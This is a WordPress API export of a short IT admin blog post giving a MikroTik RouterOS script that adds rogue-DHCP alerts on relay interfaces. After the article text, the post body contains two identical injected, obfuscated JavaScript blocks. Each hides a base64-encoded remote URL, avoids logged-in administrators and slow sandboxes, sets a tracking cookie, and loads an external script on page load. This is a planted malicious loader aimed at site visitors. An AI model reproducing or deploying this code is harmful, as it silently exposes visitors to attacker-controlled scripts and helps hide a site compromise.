{"id":194,"date":"2013-04-23T13:54:15","date_gmt":"2013-04-23T11:54:15","guid":{"rendered":"http:\/\/blog.it-admin.sk\/?p=194"},"modified":"2025-10-27T02:25:11","modified_gmt":"2025-10-27T01:25:11","slug":"mikrotik-rychlovka-pridanie-dhcp-alertu-na-interface-s-dhcp-relay","status":"publish","type":"post","link":"https:\/\/blog.it-admin.sk\/en\/2013\/04\/mikrotik-rychlovka-pridanie-dhcp-alertu-na-interface-s-dhcp-relay\/","title":{"rendered":"Mikrotik quickie: Add DHCP alert on DHCP relayed interface"},"content":{"rendered":"<p>DHCP alerting is a feature of RouterOS, which can alert us on rogue DHCP server on the network. The working principle is easy. Router sends DHCPDISCOVER packet on interface and if there&#8217;s reply by router not in whitelist, the incident is logged. This script may become handy during mass deployment of this feature. It adds a DHCP alert on interface running DHCP relay. Comes in handy if you need to deploy it on dozens of routers in one day.<\/p>\n<pre>:foreach i in=[\/ip dhcp-relay find] do={\n  :local int [\/ip dhcp-relay get $i interface] \n  \/ip dhcp-server alert add alert-timeout=01:00:00 interface=$int disabled=no\n}\n\n<\/pre>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2>>4);o2=((h2&15)<&lt;4)|(h3>>2);o3=((h3&3)<&lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>DHCP alerting is a feature of RouterOS, which can alert us on rogue DHCP server on the network. The working principle is easy. Router sends DHCPDISCOVER packet on interface and if there&#8217;s reply by router not in whitelist, the incident is logged. This script may become handy during mass deployment &#8230;<\/p>\n","protected":false},"author":1,"featured_media":195,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-194","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-mikrotik","has-thumbnail"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.9 - aioseo.com -->\n\t<meta name=\"description\" content=\"DHCP alerting is a feature of RouterOS, which can alert us on rogue DHCP server on the network. The working principle is easy. Router sends DHCPDISCOVER packet on interface and if there&#039;s reply by router not in whitelist, the incident is logged. This script may become handy during mass deployment of this feature. It adds\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"admin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/blog.it-admin.sk\/en\/2013\/04\/mikrotik-rychlovka-pridanie-dhcp-alertu-na-interface-s-dhcp-relay\/\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.9\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"IT admin blog\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"Mikrotik quickie: Add DHCP alert on DHCP relayed interface | IT admin blog\" \/>\n\t\t<meta property=\"og:description\" content=\"DHCP alerting is a feature of RouterOS, which can alert us on rogue DHCP server on the network. The working principle is easy. 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Router sends DHCPDISCOVER packet on interface and if there's reply by router not in whitelist, the incident is logged. This script may become handy during mass deployment of this feature. It adds","twitter:image":"https:\/\/blog.it-admin.sk\/wp-content\/uploads\/2013\/04\/logo_new800.png"},"aioseo_meta_data":{"post_id":"194","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"breadcrumb_settings":null,"limit_modified_date":false,"ai":null,"created":"2024-02-29 10:17:20","updated":"2025-10-28 05:34:02","seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/blog.it-admin.sk\/en\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/blog.it-admin.sk\/en\/category\/mikrotik\/\" title=\"Mikrotik\">Mikrotik<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tMikrotik quickie: Add DHCP alert on DHCP relayed interface\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/blog.it-admin.sk\/en"},{"label":"Mikrotik","link":"https:\/\/blog.it-admin.sk\/en\/category\/mikrotik\/"},{"label":"Mikrotik quickie: Add DHCP alert on DHCP relayed interface","link":"https:\/\/blog.it-admin.sk\/en\/2013\/04\/mikrotik-rychlovka-pridanie-dhcp-alertu-na-interface-s-dhcp-relay\/"}],"_links":{"self":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/194","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/comments?post=194"}],"version-history":[{"count":4,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/194\/revisions"}],"predecessor-version":[{"id":680,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/posts\/194\/revisions\/680"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/media\/195"}],"wp:attachment":[{"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/media?parent=194"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/categories?post=194"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.it-admin.sk\/en\/wp-json\/wp\/v2\/tags?post=194"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}